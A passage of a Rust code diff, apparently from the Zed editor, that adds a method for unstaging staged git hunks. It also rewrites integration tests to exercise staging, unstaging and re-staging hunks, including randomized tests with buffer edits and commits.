+    /// Unstages the staged changes covered by `index_ranges` (in the index
+    /// buffer's coordinates), acting on the given staged diff. Used by the
+    /// staged-changes view.
+    pub fn unstage_staged_hunks(
+        &mut self,
+        staged_diff: Entity<BufferDiff>,
+        index_ranges: Vec<Range<Anchor>>,
+        cx: &mut Context<Self>,
+    ) -> Result<()> {
+        if self.is_disconnected(cx) {
+            return Err(anyhow!(ErrorCode::Disconnected));
+        }
+        self.git_store.update(cx, |git_store, cx| {
+            git_store.unstage_staged_hunks(staged_diff, index_ranges, cx)
+        })
+    }
+
     pub fn open_buffer_by_id(
         &mut self,
         id: BufferId,
diff --git a/crates/project/tests/integration/project_tests.rs b/crates/project/tests/integration/project_tests.rs
index da62617d2861cd..7b4f5839e946b7 100644
--- a/crates/project/tests/integration/project_tests.rs
+++ b/crates/project/tests/integration/project_tests.rs
@@ -21,8 +21,7 @@ mod yarn;
 use anyhow::Result;
 use async_trait::async_trait;
 use buffer_diff::{
-    BufferDiffEvent, DiffChanged, DiffHunkSecondaryStatus, DiffHunkStatus, DiffHunkStatusKind,
-    assert_hunks,
+    BufferDiff, DiffHunkSecondaryStatus, DiffHunkStatus, DiffHunkStatusKind, assert_hunks,
 };
 use collections::{BTreeSet, HashMap, HashSet};
 use encoding_rs;
@@ -90,7 +89,7 @@ use task::{ResolvedTask, ShellKind, TaskContext};
 use text::{Anchor, PointUtf16, ReplicaId, ToOffset, Unclipped};
 use unindent::Unindent as _;
 use util::{
-    TryFutureExt as _, assert_set_eq, maybe, path,
+    RandomCharIter, TryFutureExt as _, assert_set_eq, maybe, path,
     paths::{PathMatcher, PathStyle},
     rel_path::{RelPath, rel_path},
     test::{TempTree, marked_text_offsets},
@@ -9671,10 +9670,13 @@ async fn test_staged_diff_for_buffer(cx: &mut gpui::TestAppContext) {
         .unwrap();
     cx.run_until_parked();
     unstaged_diff.read_with(cx, |diff, cx| {
-        assert_eq!(diff.base_text(cx).language().cloned(), None);
+        assert_eq!(
+            diff.base_text(cx).language().cloned(),
+            Some(language.clone())
+        );
     });
 
-    let staged_diff = project
+    let (staged_diff, index_text_buffer) = project
         .update(cx, |project, cx| {
             project.open_staged_diff(buffer.clone(), cx)
         })
@@ -9682,6 +9684,14 @@ async fn test_staged_diff_for_buffer(cx: &mut gpui::TestAppContext) {
         .unwrap();
 
     cx.run_until_parked();
+    index_text_buffer.read_with(cx, |buffer, cx| {
+        let file = buffer.file().unwrap();
+        assert_eq!(file.file_name(cx), "main.rs");
+        assert_eq!(
+            file.disk_state(),
+            DiskState::Historic { was_deleted: false }
+        );
+    });
     unstaged_diff.read_with(cx, |diff, cx| {
         assert_eq!(
             diff.base_text(cx).language().cloned(),
@@ -9870,7 +9880,7 @@ async fn test_staged_diff_without_unstaged_diff(cx: &mut gpui::TestAppContext) {
         .await
         .unwrap();
 
-    let staged_diff = project
+    let (staged_diff, _) = project
         .update(cx, |project, cx| {
             project.open_staged_diff(buffer.clone(), cx)
         })
@@ -10157,7 +10167,6 @@ async fn test_staging_hunks(cx: &mut gpui::TestAppContext) {
         })
         .await
         .unwrap();
-    let mut diff_events = cx.events(&uncommitted_diff);
 
     // The hunks are initially unstaged.
     uncommitted_diff.read_with(cx, |diff, cx| {
@@ -10189,15 +10198,14 @@ async fn test_staging_hunks(cx: &mut gpui::TestAppContext) {
     });
 
     // Stage a hunk. It appears as optimistically staged.
-    uncommitted_diff.update(cx, |diff, cx| {
-        let range =
-            snapshot.anchor_before(Point::new(1, 0))..snapshot.anchor_before(Point::new(2, 0));
-        let hunks = diff
-            .snapshot(cx)
-            .hunks_intersecting_range(range, &snapshot)
-            .collect::<Vec<_>>();
-        diff.stage_or_unstage_hunks(true, &hunks, &snapshot, true, cx);
-
+    let range = snapshot.anchor_before(Point::new(1, 0))..snapshot.anchor_before(Point::new(2, 0));
+    project
+        .update(cx, |project, cx| {
+            let unstaged_diff = uncommitted_diff.read(cx).secondary_diff().unwrap();
+            project.stage_hunks(buffer.clone(), unstaged_diff, vec![range], cx)
+        })
+        .unwrap();
+    uncommitted_diff.read_with(cx, |diff, cx| {
         assert_hunks(
             diff.snapshot(cx).hunks(&snapshot),
             &snapshot,
@@ -10225,28 +10233,9 @@ async fn test_staging_hunks(cx: &mut gpui::TestAppContext) {
         );
     });
 
-    // The diff emits a change event for the range of the staged hunk.
-    assert!(matches!(
-        diff_events.next().await.unwrap(),
-        BufferDiffEvent::HunksStagedOrUnstaged(_)
-    ));
-    let event = diff_events.next().await.unwrap();
-    if let BufferDiffEvent::DiffChanged(DiffChanged {
-        changed_range: Some(changed_range),
-        base_text_changed_range: _,
-        extended_range: _,
-        base_text_changed: _,
-    }) = event
-    {
-        let changed_range = changed_range.to_point(&snapshot);
-        assert_eq!(changed_range, Point::new(1, 0)..Point::new(2, 0));
-    } else {
-        panic!("Unexpected event {event:?}");
-    }
-
     // When the write to the index completes, it appears as staged.
     cx.run_until_parked();
-    uncommitted_diff.update(cx, |diff, cx| {
+    uncommitted_diff.read_with(cx, |diff, cx| {
         assert_hunks(
             diff.snapshot(cx).hunks(&snapshot),
             &snapshot,
@@ -10274,21 +10263,6 @@ async fn test_staging_hunks(cx: &mut gpui::TestAppContext) {
         );
     });
 
-    // The diff emits a change event for the changed index text.
-    let event = diff_events.next().await.unwrap();
-    if let BufferDiffEvent::DiffChanged(DiffChanged {
-        changed_range: Some(changed_range),
-        base_text_changed_range: _,
-        extended_range: _,
-        base_text_changed: _,
-    }) = event
-    {
-        let changed_range = changed_range.to_point(&snapshot);
-        assert_eq!(changed_range, Point::new(1, 0)..Point::new(2, 0));
-    } else {
-        panic!("Unexpected event {event:?}");
-    }
-
     // Simulate a problem writing to the git index.
     fs.set_error_message_for_index_write(
         "/dir/.git".as_ref(),
@@ -10296,15 +10270,14 @@ async fn test_staging_hunks(cx: &mut gpui::TestAppContext) {
     );
 
     // Stage another hunk.
-    uncommitted_diff.update(cx, |diff, cx| {
-        let range =
-            snapshot.anchor_before(Point::new(3, 0))..snapshot.anchor_before(Point::new(4, 0));
-        let hunks = diff
-            .snapshot(cx)
-            .hunks_intersecting_range(range, &snapshot)
-            .collect::<Vec<_>>();
-        diff.stage_or_unstage_hunks(true, &hunks, &snapshot, true, cx);
-
+    let range = snapshot.anchor_before(Point::new(3, 0))..snapshot.anchor_before(Point::new(4, 0));
+    project
+        .update(cx, |project, cx| {
+            let unstaged_diff = uncommitted_diff.read(cx).secondary_diff().unwrap();
+            project.stage_hunks(buffer.clone(), unstaged_diff, vec![range], cx)
+        })
+        .unwrap();
+    uncommitted_diff.read_with(cx, |diff, cx| {
         assert_hunks(
             diff.snapshot(cx).hunks(&snapshot),
             &snapshot,
@@ -10331,27 +10304,10 @@ async fn test_staging_hunks(cx: &mut gpui::TestAppContext) {
             ],
         );
     });
-    assert!(matches!(
-        diff_events.next().await.unwrap(),
-        BufferDiffEvent::HunksStagedOrUnstaged(_)
-    ));
-    let event = diff_events.next().await.unwrap();
-    if let BufferDiffEvent::DiffChanged(DiffChanged {
-        changed_range: Some(changed_range),
-        base_text_changed_range: _,
-        extended_range: _,
-        base_text_changed: _,
-    }) = event
-    {
-        let changed_range = changed_range.to_point(&snapshot);
-        assert_eq!(changed_range, Point::new(3, 0)..Point::new(4, 0));
-    } else {
-        panic!("Unexpected event {event:?}");
-    }
 
     // When the write fails, the hunk returns to being unstaged.
     cx.run_until_parked();
-    uncommitted_diff.update(cx, |diff, cx| {
+    uncommitted_diff.read_with(cx, |diff, cx| {
         assert_hunks(
             diff.snapshot(cx).hunks(&snapshot),
             &snapshot,
@@ -10379,32 +10335,29 @@ async fn test_staging_hunks(cx: &mut gpui::TestAppContext) {
         );
     });
 
-    let event = diff_events.next().await.unwrap();
-    if let BufferDiffEvent::DiffChanged(DiffChanged {
-        changed_range: Some(changed_range),
-        base_text_changed_range: _,
-        extended_range: _,
-        base_text_changed: _,
-    }) = event
-    {
-        let changed_range = changed_range.to_point(&snapshot);
-        assert_eq!(changed_range, Point::new(0, 0)..Point::new(5, 0));
-    } else {
-        panic!("Unexpected event {event:?}");
-    }
-
     // Allow writing to the git index to succeed again.
     fs.set_error_message_for_index_write("/dir/.git".as_ref(), None);
 
     // Stage two hunks with separate operations.
-    uncommitted_diff.update(cx, |diff, cx| {
+    let (range0, range2) = uncommitted_diff.read_with(cx, |diff, cx| {
         let hunks = diff.snapshot(cx).hunks(&snapshot).collect::<Vec<_>>();
-        diff.stage_or_unstage_hunks(true, &hunks[0..1], &snapshot, true, cx);
-        diff.stage_or_unstage_hunks(true, &hunks[2..3], &snapshot, true, cx);
+        (hunks[0].buffer_range.clone(), hunks[2].buffer_range.clone())
     });
+    project
+        .update(cx, |project, cx| {
+            let unstaged_diff = uncommitted_diff.read(cx).secondary_diff().unwrap();
+            project.stage_hunks(buffer.clone(), unstaged_diff, vec![range0], cx)
+        })
+        .unwrap();
+    project
+        .update(cx, |project, cx| {
+            let unstaged_diff = uncommitted_diff.read(cx).secondary_diff().unwrap();
+            project.stage_hunks(buffer.clone(), unstaged_diff, vec![range2], cx)
+        })
+        .unwrap();
 
     // Both staged hunks appear as pending.
-    uncommitted_diff.update(cx, |diff, cx| {
+    uncommitted_diff.read_with(cx, |diff, cx| {
         assert_hunks(
             diff.snapshot(cx).hunks(&snapshot),
             &snapshot,
@@ -10434,7 +10387,7 @@ async fn test_staging_hunks(cx: &mut gpui::TestAppContext) {
 
     // Both staging operations take effect.
     cx.run_until_parked();
-    uncommitted_diff.update(cx, |diff, cx| {
+    uncommitted_diff.read_with(cx, |diff, cx| {
         assert_hunks(
             diff.snapshot(cx).hunks(&snapshot),
             &snapshot,
@@ -10631,9 +10584,20 @@ async fn test_staging_hunks_with_delayed_fs_event(cx: &mut gpui::TestAppContext)
     fs.pause_events();
 
     // Stage the first hunk.
-    uncommitted_diff.update(cx, |diff, cx| {
-        let hunk = diff.snapshot(cx).hunks(&snapshot).next().unwrap();
-        diff.stage_or_unstage_hunks(true, &[hunk], &snapshot, true, cx);
+    let range = uncommitted_diff.read_with(cx, |diff, cx| {
+        diff.snapshot(cx)
+            .hunks(&snapshot)
+            .next()
+            .unwrap()
+            .buffer_range
+    });
+    project
+        .update(cx, |project, cx| {
+            let unstaged_diff = uncommitted_diff.read(cx).secondary_diff().unwrap();
+            project.stage_hunks(buffer.clone(), unstaged_diff, vec![range], cx)
+        })
+        .unwrap();
+    uncommitted_diff.read_with(cx, |diff, cx| {
         assert_hunks(
             diff.snapshot(cx).hunks(&snapshot),
             &snapshot,
@@ -10663,9 +10627,20 @@ async fn test_staging_hunks_with_delayed_fs_event(cx: &mut gpui::TestAppContext)
 
     // Stage the second hunk *before* receiving the FS event for the first hunk.
     cx.run_until_parked();
-    uncommitted_diff.update(cx, |diff, cx| {
-        let hunk = diff.snapshot(cx).hunks(&snapshot).nth(1).unwrap();
-        diff.stage_or_unstage_hunks(true, &[hunk], &snapshot, true, cx);
+    let range = uncommitted_diff.read_with(cx, |diff, cx| {
+        diff.snapshot(cx)
+            .hunks(&snapshot)
+            .nth(1)
+            .unwrap()
+            .buffer_range
+    });
+    project
+        .update(cx, |project, cx| {
+            let unstaged_diff = uncommitted_diff.read(cx).secondary_diff().unwrap();
+            project.stage_hunks(buffer.clone(), unstaged_diff, vec![range], cx)
+        })
+        .unwrap();
+    uncommitted_diff.read_with(cx, |diff, cx| {
         assert_hunks(
             diff.snapshot(cx).hunks(&snapshot),
             &snapshot,
@@ -10698,10 +10673,19 @@ async fn test_staging_hunks_with_delayed_fs_event(cx: &mut gpui::TestAppContext)
     cx.run_until_parked();
 
     // Stage the third hunk before receiving the second FS event.
-    uncommitted_diff.update(cx, |diff, cx| {
-        let hunk = diff.snapshot(cx).hunks(&snapshot).nth(2).unwrap();
-        diff.stage_or_unstage_hunks(true, &[hunk], &snapshot, true, cx);
+    let range = uncommitted_diff.read_with(cx, |diff, cx| {
+        diff.snapshot(cx)
+            .hunks(&snapshot)
+            .nth(2)
+            .unwrap()
+            .buffer_range
     });
+    project
+        .update(cx, |project, cx| {
+            let unstaged_diff = uncommitted_diff.read(cx).secondary_diff().unwrap();
+            project.stage_hunks(buffer.clone(), unstaged_diff, vec![range], cx)
+        })
+        .unwrap();
 
     // Wait for all remaining IO.
     cx.run_until_parked();
@@ -10709,7 +10693,7 @@ async fn test_staging_hunks_with_delayed_fs_event(cx: &mut gpui::TestAppContext)
 
     // Now all hunks are staged.
     cx.run_until_parked();
-    uncommitted_diff.update(cx, |diff, cx| {
+    uncommitted_diff.read_with(cx, |diff, cx| {
         assert_hunks(
             diff.snapshot(cx).hunks(&snapshot),
             &snapshot,
@@ -10733,6 +10717,167 @@ async fn test_staging_hunks_with_delayed_fs_event(cx: &mut gpui::TestAppContext)
     });
 }
 
+#[gpui::test]
+async fn test_restaging_hunk_after_optimistic_unstage(cx: &mut gpui::TestAppContext) {
+    use DiffHunkSecondaryStatus::*;
+    init_test(cx);
+
+    let committed_contents = r#"
+        one
+        two
+        three
+    "#
+    .unindent();
+    let file_contents = r#"
+        one
+        TWO
+        three
+    "#
+    .unindent();
+
+    let fs = FakeFs::new(cx.background_executor.clone());
+    fs.insert_tree(
+        path!("/dir"),
+        json!({
+            ".git": {},
+            "file.txt": file_contents.clone()
+        }),
+    )
+    .await;
+
+    // The hunk starts out staged: the index already matches the worktree.
+    fs.set_head_for_repo(
+        path!("/dir/.git").as_ref(),
+        &[("file.txt", committed_contents.clone())],
+        "deadbeef",
+    );
+    fs.set_index_for_repo(
+        path!("/dir/.git").as_ref(),
+        &[("file.txt", file_contents.clone())],
+    );
+    let repo = fs
+        .open_repo(path!("/dir/.git").as_ref(), Some("git".as_ref()))
+        .unwrap();
+
+    let project = Project::test(fs.clone(), [path!("/dir").as_ref()], cx).await;
+    let buffer = project
+        .update(cx, |project, cx| {
+            project.open_local_buffer(path!("/dir/file.txt"), cx)
+        })
+        .await
+        .unwrap();
+    let snapshot = buffer.read_with(cx, |buffer, _| buffer.snapshot());
+    let uncommitted_diff = project
+        .update(cx, |project, cx| {
+            project.open_uncommitted_diff(buffer.clone(), cx)
+        })
+        .await
+        .unwrap();
+
+    let hunk_range = uncommitted_diff.read_with(cx, |diff, cx| {
+        assert_hunks(
+            diff.snapshot(cx).hunks(&snapshot),
+            &snapshot,
+            &diff.base_text_string(cx).unwrap(),
+            &[(
+                1..2,
+                "two\n",
+                "TWO\n",
+                DiffHunkStatus::modified(NoSecondaryHunk),
+            )],
+        );
+        diff.snapshot(cx)
+            .hunks(&snapshot)
+            .next()
+            .unwrap()
+            .buffer_range
+    });
+
+    // Hold back FS events so that the index writes below stay un-reconciled:
+    // the second operation must run while the first one's optimistic state is
+    // still pending.
+    fs.pause_events();
+
+    // Unstage the hunk. It appears as optimistically unstaged.
+    project
+        .update(cx, |project, cx| {
+            project.unstage_uncommitted_hunks(
+                buffer.clone(),
+                uncommitted_diff.clone(),
+                vec![hunk_range.clone()],
+                cx,
+            )
+        })
+        .unwrap();
+    uncommitted_diff.read_with(cx, |diff, cx| {
+        assert_hunks(
+            diff.snapshot(cx).hunks(&snapshot),
+            &snapshot,
+            &diff.base_text_string(cx).unwrap(),
+            &[(
+                1..2,
+                "two\n",
+                "TWO\n",
+                DiffHunkStatus::modified(SecondaryHunkAdditionPending),
+            )],
+        );
+    });
+
+    // Re-stage the same hunk before the unstage write has been reconciled.
+    project
+        .update(cx, |project, cx| {
+            let unstaged_diff = uncommitted_diff.read(cx).secondary_diff().unwrap();
+            project.stage_hunks(buffer.clone(), unstaged_diff, vec![hunk_range.clone()], cx)
+        })
+        .unwrap();
+    uncommitted_diff.read_with(cx, |diff, cx| {
+        assert_hunks(
+            diff.snapshot(cx).hunks(&snapshot),
+            &snapshot,
+            &diff.base_text_string(cx).unwrap(),
+            &[(
+                1..2,
+                "two\n",
+                "TWO\n",
+                DiffHunkStatus::modified(SecondaryHunkRemovalPending),
+            )],
+        );
+    });
+
+    cx.run_until_parked();
+    assert_eq!(
+        repo.load_index_text(RepoPath::from_rel_path(rel_path("file.txt")))
+            .await
+            .unwrap(),
+        file_contents,
+        "the re-stage should have overridden the in-flight unstage"
+    );
+
+    fs.unpause_events_and_flush();
+    cx.run_until_parked();
+
+    // Once everything settles, the hunk is staged again.
+    uncommitted_diff.read_with(cx, |diff, cx| {
+        assert_hunks(
+            diff.snapshot(cx).hunks(&snapshot),
+            &snapshot,
+            &diff.base_text_string(cx).unwrap(),
+            &[(
+                1..2,
+                "two\n",
+                "TWO\n",
+                DiffHunkStatus::modified(NoSecondaryHunk),
+            )],
+        );
+    });
+    assert_eq!(
+        repo.load_index_text(RepoPath::from_rel_path(rel_path("file.txt")))
+            .await
+            .unwrap(),
+        file_contents
+    );
+}
+
 #[gpui::test(iterations = 25)]
 async fn test_staging_random_hunks(
     mut rng: StdRng,
@@ -10746,11 +10891,12 @@ async fn test_staging_random_hunks(
     use DiffHunkSecondaryStatus::*;
     init_test(cx);
 
-    let committed_text = (0..30).map(|i| format!("line {i}\n")).collect::<String>();
+    let committed_text = (0..40).map(|i| format!("line {i}\n")).collect::<String>();
     let index_text = committed_text.clone();
-    let buffer_text = (0..30)
-        .map(|i| match i % 5 {
-            0 => format!("line {i} (modified)\n"),
+    let buffer_text = (0..40)
+        .map(|i| match i {
+            35 => format!("line {i}\ninserted after {i}\n"),
+            _ if i < 30 && i % 5 == 0 => format!("line {i} (modified)\n"),
             _ => format!("line {i}\n"),
         })
         .collect::<String>();
@@ -10795,24 +10941,75 @@ async fn test_staging_random_hunks(
     let mut hunks = uncommitted_diff.update(cx, |diff, cx| {
         diff.snapshot(cx).hunks(&snapshot).collect::<Vec<_>>()
     });
-    assert_eq!(hunks.len(), 6);
+    assert_eq!(hunks.len(), 7);
+    let insertion_hunk = hunks
+        .iter()
+        .find(|hunk| hunk.diff_base_byte_range.is_empty())
+        .unwrap()
+        .clone();
+    fs.pause_events();
+    project
+        .update(cx, |project, cx| {
+            let unstaged_diff = uncommitted_diff.read(cx).secondary_diff().unwrap();
+            project.stage_hunks(
+                buffer.clone(),
+                unstaged_diff,
+                vec![insertion_hunk.buffer_range.clone()],
+                cx,
+            )
+        })
+        .unwrap();
+    project
+        .update(cx, |project, cx| {
+            project.unstage_uncommitted_hunks(
+                buffer.clone(),
+                uncommitted_diff.clone(),
+                vec![insertion_hunk.buffer_range],
+                cx,
+            )
+        })
+        .unwrap();
+    cx.executor().run_until_parked();
+    assert_eq!(
+        repo.load_index_text(RepoPath::from_rel_path(rel_path("file.txt")))
+            .await
+            .unwrap(),
+        index_text
+    );
+    fs.unpause_events_and_flush();
+    cx.run_until_parked();
+    hunks = uncommitted_diff.update(cx, |diff, cx| {
+        diff.snapshot(cx).hunks(&snapshot).collect::<Vec<_>>()
+    });
+    assert_eq!(hunks.len(), 7);
 
     for _i in 0..operations {
         let hunk_ix = rng.random_range(0..hunks.len());
         let hunk = &mut hunks[hunk_ix];
         let row = hunk.range.start.row;
 
+        let range = hunk.buffer_range.clone();
         if hunk.status().has_secondary_hunk() {
             log::info!("staging hunk at {row}");
-            uncommitted_diff.update(cx, |diff, cx| {
-                diff.stage_or_unstage_hunks(true, std::slice::from_ref(hunk), &snapshot, true, cx);
-            });
+            project
+                .update(cx, |project, cx| {
+                    let unstaged_diff = uncommitted_diff.read(cx).secondary_diff().unwrap();
+                    project.stage_hunks(buffer.clone(), unstaged_diff, vec![range], cx)
+                })
+                .unwrap();
             hunk.secondary_status = SecondaryHunkRemovalPending;
         } else {
             log::info!("unstaging hunk at {row}");
-            uncommitted_diff.update(cx, |diff, cx| {
-                diff.stage_or_unstage_hunks(false, std::slice::from_ref(hunk), &snapshot, true, cx);
-            });
+            project
+                .update(cx, |project, cx| {
+                    project.unstage_uncommitted_hunks(
+                        buffer.clone(),
+                        uncommitted_diff.clone(),
+                        vec![range],
+                        cx,
+                    )
+                })
+                .unwrap();
             hunk.secondary_status = SecondaryHunkAdditionPending;
         }
 
@@ -10853,6 +11050,508 @@ async fn test_staging_random_hunks(
     });
 }
 
+#[gpui::test(iterations = 25)]
+async fn test_staging_random_hunks_with_edits(
+    mut rng: StdRng,
+    _executor: BackgroundExecutor,
+    cx: &mut gpui::TestAppContext,
+) {
+    let operations = env::var("OPERATIONS")
+        .map(|i| i.parse().expect("invalid `OPERATIONS` variable"))
+        .unwrap_or(30);
+
+    init_test(cx);
+
+    fn disk_index_text(fs: &FakeFs) -> String {
+        fs.with_git_state(path!("/dir/.git").as_ref(), false, |state| {
+            state
+                .index_contents
+                .get(&repo_path("file.txt"))
+                .cloned()
+                .expect("file is always present in the index")
+        })
+        .unwrap()
+    }
+
+    fn random_row_range(
+        snapshot: &text::BufferSnapshot,
+        rng: &mut StdRng,
+    ) -> (Range<Anchor>, Range<u32>) {
+        let max_row = snapshot.max_point().row;
+        let start_row = rng.random_range(0..=max_row);
+        let end_row = rng.random_range(start_row..=max_row.min(start_row + 5));
+        let start = Point::new(start_row, 0);
+        let end = Point::new(end_row, snapshot.line_len(end_row));
+        (
+            snapshot.anchor_before(start)..snapshot.anchor_after(end),
+            start_row..end_row,
+        )
+    }
+
+    #[allow(clippy::type_complexity)]
+    fn capture_diff_state(
+        diff: &Entity<BufferDiff>,
+        cx: &mut gpui::TestAppContext,
+    ) -> (
+        String,
+        Option<String>,
+        Vec<(Range<Point>, Range<usize>, DiffHunkSecondaryStatus)>,
+    ) {
+        diff.read_with(cx, |diff, cx| {
+            let snapshot = diff.snapshot(cx);
+            let buffer_snapshot = snapshot.buffer_snapshot().clone();
+            let hunks = snapshot
+                .hunks(&buffer_snapshot)
+                .map(|hunk| {
+                    (
+                        hunk.range.clone(),
+                        hunk.diff_base_byte_range.clone(),
+                        hunk.secondary_status,
+                    )
+                })
+                .collect();
+            (buffer_snapshot.text(), snapshot.base_text_string(), hunks)
+        })
+    }
+
+    fn assert_settled(diff: &Entity<BufferDiff>, name: &str, cx: &mut gpui::TestAppContext) {
+        diff.read_with(cx, |diff, cx| {
+            let snapshot = diff.snapshot(cx);
+            let buffer_snapshot = snapshot.buffer_snapshot().clone();
+            let cooked = snapshot
+                .hunks(&buffer_snapshot)
+                .map(|hunk| (hunk.range.clone(), hunk.secondary_status))
+                .collect::<Vec<_>>();
+            for (range, status) in &cooked {
+                assert!(
+                    !matches!(
+                        status,
+                        DiffHunkSecondaryStatus::SecondaryHunkAdditionPending
+                            | DiffHunkSecondaryStatus::SecondaryHunkRemovalPending
+                    ),
+                    "{name} hunk at {range:?} still has pending status {status:?} after settling"
+                );
+            }
+            let full_range = Anchor::min_max_range_for_buffer(buffer_snapshot.remote_id());
+            let raw_ranges = snapshot
+                .raw_hunks_intersecting_range(full_range, &buffer_snapshot)
+                .map(|hunk| hunk.range)
+                .collect::<Vec<_>>();
+            let cooked_ranges = cooked
+                .into_iter()
+                .map(|(range, _)| range)
+                .collect::<Vec<_>>();
+            assert_eq!(
+                raw_ranges, cooked_ranges,
+                "{name} still has suppressed hunks after settling"
+            );
+        })
+    }
+
+    let mut committed_text = (0..40)
+        .map(|i| match i {
+            _ if i % 5 == 0 => format!("line {i} αβ🍐\n"),
+            _ => format!("line {i}\n"),
+        })
+        .collect::<String>();
+    let index_text = (0..40)
+        .map(|i| match i {
+            10 => "line 10 (modified ✅)\n".to_string(),
+            20 => "line 20 (staged-only ⭐)\n".to_string(),
+            _ if i % 5 == 0 => format!("line {i} αβ🍐\n"),
+            _ => format!("line {i}\n"),
+        })
+        .collect::<String>();
+    let buffer_text = (0..40)
+        .map(|i| match i {
+            35 => format!("line {i} αβ🍐\ninserted after {i}\n"),
+            _ if i < 30 && i % 5 == 0 => format!("line {i} (modified ✅)\n"),
+            _ if i % 5 == 0 => format!("line {i} αβ🍐\n"),
+            _ => format!("line {i}\n"),
+        })
+        .collect::<String>();
+
+    let fs = FakeFs::new(cx.background_executor.clone());
+    fs.insert_tree(
+        path!("/dir"),
+        json!({
+            ".git": {},
+            "file.txt": buffer_text.clone()
+        }),
+    )
+    .await;
+    fs.set_head_for_repo(
+        path!("/dir/.git").as_ref(),
+        &[("file.txt", committed_text.clone())],
+        "deadbeef",
+    );
+    fs.set_index_for_repo(path!("/dir/.git").as_ref(), &[("file.txt", index_text)]);
+    let repo = fs
+        .open_repo(path!("/dir/.git").as_ref(), Some("git".as_ref()))
+        .unwrap();
+
+    let project = Project::test(fs.clone(), [path!("/dir").as_ref()], cx).await;
+    let buffer = project
+        .update(cx, |project, cx| {
+            project.open_local_buffer(path!("/dir/file.txt"), cx)
+        })
+        .await
+        .unwrap();
+    let unstaged_diff = project
+        .update(cx, |project, cx| {
+            project.open_unstaged_diff(buffer.clone(), cx)
+        })
+        .await
+        .unwrap();
+    let (staged_diff, index_buffer) = project
+        .update(cx, |project, cx| {
+            project.open_staged_diff(buffer.clone(), cx)
+        })
+        .await
+        .unwrap();
+    let uncommitted_diff = project
+        .update(cx, |project, cx| {
+            project.open_uncommitted_diff(buffer.clone(), cx)
+        })
+        .await
+        .unwrap();
+    cx.run_until_parked();
+
+    let mut events_paused = false;
+    let mut commit_count = 0;
+    for _ in 0..operations {
+        match rng.random_range(0..100) {
+            0..20 => {
+                let snapshot = buffer.read_with(cx, |buffer, _| buffer.text_snapshot());
+                let (range, rows) = random_row_range(&snapshot, &mut rng);
+                log::info!("staging rows {rows:?}");
+                project
+                    .update(cx, |project, cx| {
+                        project.stage_hunks(buffer.clone(), unstaged_diff.clone(), vec![range], cx)
+                    })
+                    .unwrap();
+            }
+            20..35 => {
+                let snapshot = buffer.read_with(cx, |buffer, _| buffer.text_snapshot());
+                let (range, rows) = random_row_range(&snapshot, &mut rng);
+                log::info!("unstaging rows {rows:?} via the uncommitted diff");
+                project
+                    .update(cx, |project, cx| {
+                        project.unstage_uncommitted_hunks(
+                            buffer.clone(),
+                            uncommitted_diff.clone(),
+                            vec![range],
+                            cx,
+                        )
+                    })
+                    .unwrap();
+            }
+            35..50 => {
+                let snapshot = index_buffer.read_with(cx, |buffer, _| buffer.text_snapshot());
+                let (range, rows) = random_row_range(&snapshot, &mut rng);
+                log::info!("unstaging index rows {rows:?} via the staged diff");
+                project
+                    .update(cx, |project, cx| {
+                        project.unstage_staged_hunks(staged_diff.clone(), vec![range], cx)
+                    })
+                    .unwrap();
+            }
+            // Line-oriented edits keep the file hunk-rich; uniform random
+            // splices (`randomly_edit`) delete a quarter of the file on
+            // average and quickly collapse it into a single hunk.
+            50..75 => {
+                let snapshot = buffer.read_with(cx, |buffer, _| buffer.text_snapshot());
+                let max_row = snapshot.max_point().row;
+                let row = rng.random_range(0..=max_row);
+                let row_start = snapshot.point_to_offset(Point::new(row, 0));
+                let row_end = snapshot.point_to_offset(Point::new(row, snapshot.line_len(row)));
+                let new_text_len = rng.random_range(0..8);
+                let new_text = RandomCharIter::new(&mut rng)
+                    .take(new_text_len)
+                    .collect::<String>();
+                let (range, new_text) = match rng.random_range(0..10) {
+                    0..3 => (row_start..row_start, format!("{new_text}\n")),
+                    3..5 if max_row > 0 => {
+                        let end = if row < max_row {
+                            snapshot.point_to_offset(Point::new(row + 1, 0))
+                        } else {
+                            snapshot.len()
+                        };
+                        (row_start..end, String::new())
+                    }
+                    5..8 => (row_start..row_end, new_text),
+                    _ => {
+                        let start = snapshot
+                            .clip_offset(rng.random_range(0..=snapshot.len()), text::Bias::Left);
+                        let end = snapshot.clip_offset(
+                            (start + rng.random_range(0..10)).min(snapshot.len()),
+                            text::Bias::Right,
+                        );
+                        (start..end, new_text)
+                    }
+                };
+                log::info!("editing buffer: {range:?} -> {new_text:?}");
+                buffer.update(cx, |buffer, cx| buffer.edit([(range, new_text)], None, cx));
+            }
+            // Commits and whole-file round-trip checkpoints. The round trips
+            // settle first so the resulting index bytes are exactly
+            // predictable, which catches wrong-content writes that the
+            // settled-consistency checks can't see (a corrupted write becomes
+            // the on-disk truth that everything else then agrees with).
+            75..82 => {
+                let buffer_full_range = Anchor::min_max_range_for_buffer(
+                    buffer.read_with(cx, |buffer, _| buffer.remote_id()),
+                );
+                let index_full_range = Anchor::min_max_range_for_buffer(
+                    index_buffer.read_with(cx, |buffer, _| buffer.remote_id()),
+                );
+                match rng.random_range(0..4) {
+                    // Commit: HEAD becomes whatever the index currently
+                    // contains on disk, which may lag in-flight optimistic
+                    // writes, just like running `git commit` in a terminal.
+                    0 => {
+                        let new_head = disk_index_text(&fs);
+                        commit_count += 1;
+                        log::info!("committing (commit {commit_count})");
+                        fs.set_head_for_repo(
+                            path!("/dir/.git").as_ref(),
+                            &[("file.txt", new_head.clone())],
+                            format!("sha-{commit_count}"),
+                        );
+                        committed_text = new_head;
+                    }
+                    // Stage everything and commit it, like `git add -A &&
+                    // git commit`.
+                    1 => {
+                        log::info!("checkpoint: stage-all, then commit");
+                        if events_paused {
+                            fs.unpause_events_and_flush();
+                            events_paused = false;
+                        }
+                        cx.run_until_parked();
+                        project
+                            .update(cx, |project, cx| {
+                                project.stage_hunks(
+                                    buffer.clone(),
+                                    unstaged_diff.clone(),
+                                    vec![buffer_full_range],
+                                    cx,
+                                )
+                            })
+                            .unwrap();
+                        cx.run_until_parked();
+                        let disk = disk_index_text(&fs);
+                        let buffer_text = buffer.read_with(cx, |buffer, _| buffer.text());
+                        assert_eq!(
+                            disk, buffer_text,
+                            "after staging everything, the index must equal the worktree"
+                        );
+                        commit_count += 1;
+                        log::info!("committing (commit {commit_count})");
+                        fs.set_head_for_repo(
+                            path!("/dir/.git").as_ref(),
+                            &[("file.txt", disk.clone())],
+                            format!("sha-{commit_count}"),
+                        );
+                        committed_text = disk;
+                    }
+                    // Unstage everything via the staged diff, which by
+                    // definition covers every index-vs-HEAD difference.
+                    2 => {
+                        log::info!("checkpoint: unstage-all");
+                        if events_paused {
